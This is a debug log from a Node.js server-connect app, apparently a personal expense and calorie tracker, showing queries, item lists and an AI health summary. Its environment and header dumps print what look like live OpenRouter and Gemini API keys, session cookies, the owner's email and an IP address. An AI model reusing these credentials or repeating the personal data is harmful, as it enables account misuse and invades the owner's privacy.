Error: delete from `sessions` where expired < CAST('2025-12-17 09:11:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 09:11:53' as DATETIME)"
}
2025-12-17T09:22:23.230Z server-connect:app Executing action step identify
2025-12-17T09:22:23.230Z server-connect:app options: { provider: 'security' }
2025-12-17T09:22:23.230Z server-connect:output identity: 1
2025-12-17T09:22:24.796Z server-connect:app Executing action step identify
2025-12-17T09:22:24.797Z server-connect:app options: { provider: 'security' }
2025-12-17T09:22:24.797Z server-connect:output identity: 1
2025-12-17T09:29:17.228Z server-connect:app Executing action step identify
2025-12-17T09:29:17.228Z server-connect:app options: { provider: 'security' }
2025-12-17T09:29:17.228Z server-connect:output identity: 1
2025-12-17T09:29:19.880Z server-connect:app Executing action step identify
2025-12-17T09:29:19.880Z server-connect:app options: { provider: 'security' }
2025-12-17T09:29:19.880Z server-connect:output identity: 1
2025-12-17T09:30:10.028Z server-connect:router Serving templateView /
2025-12-17T09:30:10.029Z server-connect:app Executing action step identify
2025-12-17T09:30:10.029Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:10.029Z server-connect:output identity: 1
2025-12-17T09:30:10.029Z server-connect:app Executing action step restrict
2025-12-17T09:30:10.029Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T09:30:10.031Z server-connect:output restrict: undefined
2025-12-17T09:30:10.031Z server-connect:app Executing action step restrict
2025-12-17T09:30:10.031Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T09:30:10.032Z server-connect:output restrict: undefined
2025-12-17T09:30:10.032Z server-connect:router Render template layouts/main
2025-12-17T09:30:10.032Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-17T09:30:10.801Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T09:30:10.802Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T09:30:10.802Z server-connect:app Executing action step identify
2025-12-17T09:30:10.802Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:10.802Z server-connect:output identity: 1
2025-12-17T09:30:10.802Z server-connect:app Executing action step restrict
2025-12-17T09:30:10.803Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T09:30:10.803Z server-connect:app Executing action step identify
2025-12-17T09:30:10.803Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:10.803Z server-connect:output identity: 1
2025-12-17T09:30:10.803Z server-connect:app Executing action step restrict
2025-12-17T09:30:10.803Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T09:30:10.805Z server-connect:output restrict: undefined
2025-12-17T09:30:10.805Z server-connect:app Executing action step single
2025-12-17T09:30:10.805Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T09:30:10.807Z server-connect:output restrict: undefined
2025-12-17T09:30:10.807Z server-connect:app Executing action step select
2025-12-17T09:30:10.807Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T09:30:10.808Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T09:30:10.815Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T09:30:13.516Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T09:30:13.517Z server-connect:app Executing action step identify
2025-12-17T09:30:13.517Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:13.517Z server-connect:output identity: 1
2025-12-17T09:30:13.517Z server-connect:app Executing action step restrict
2025-12-17T09:30:13.517Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T09:30:13.517Z server-connect:output restrict: undefined
2025-12-17T09:30:13.517Z server-connect:router Render template calorie-tracker
2025-12-17T09:30:13.518Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T09:30:13.794Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T09:30:13.794Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T09:30:13.795Z server-connect:app Executing action step identify
2025-12-17T09:30:13.795Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:13.795Z server-connect:output identity: 1
2025-12-17T09:30:13.795Z server-connect:app Executing action step restrict
2025-12-17T09:30:13.795Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:13.795Z server-connect:output restrict: undefined
2025-12-17T09:30:13.795Z server-connect:app Executing action step single
2025-12-17T09:30:13.795Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T09:30:13.796Z server-connect:app Executing action step identify
2025-12-17T09:30:13.796Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:13.796Z server-connect:output identity: 1
2025-12-17T09:30:13.796Z server-connect:app Executing action step restrict
2025-12-17T09:30:13.796Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T09:30:13.796Z server-connect:output restrict: undefined
2025-12-17T09:30:13.796Z server-connect:app Executing action step single
2025-12-17T09:30:13.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T09:30:13.797Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day shows a decent effort towards fueling your workouts and recovery, with consistent hydration. However, the meal composition could be more balanced to better support muscle development and fat loss goals. Focusing on nutrient-dense foods and ensuring adequate protein intake throughout the day will be key for continued progress.',
    bad_points: [
      'The main meal appears to be heavily reliant on carbohydrates from roti.',
      'Protein intake might be suboptimal for muscle development goals.',
      'Limited variety in vegetables and protein sources.'
    ],
    good_points: [
      'Consistent hydration throughout the day.',
      'Inclusion of whey protein post-workout.',
      'Incorporation of nuts for healthy fats.'
    ],
    suggestions: [
      'Increase the portion of protein sources in your main meals.',
      'Incorporate more non-starchy vegetables to enhance fiber and nutrient intake.',
      'Consider adding a protein source to your evening meal.',
      'Ensure consistent spacing of meals to support energy levels and nutrient absorption.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T09:30:13.798Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T09:30:13.799Z server-connect:app Executing action step select
2025-12-17T09:30:13.799Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T09:30:13.801Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
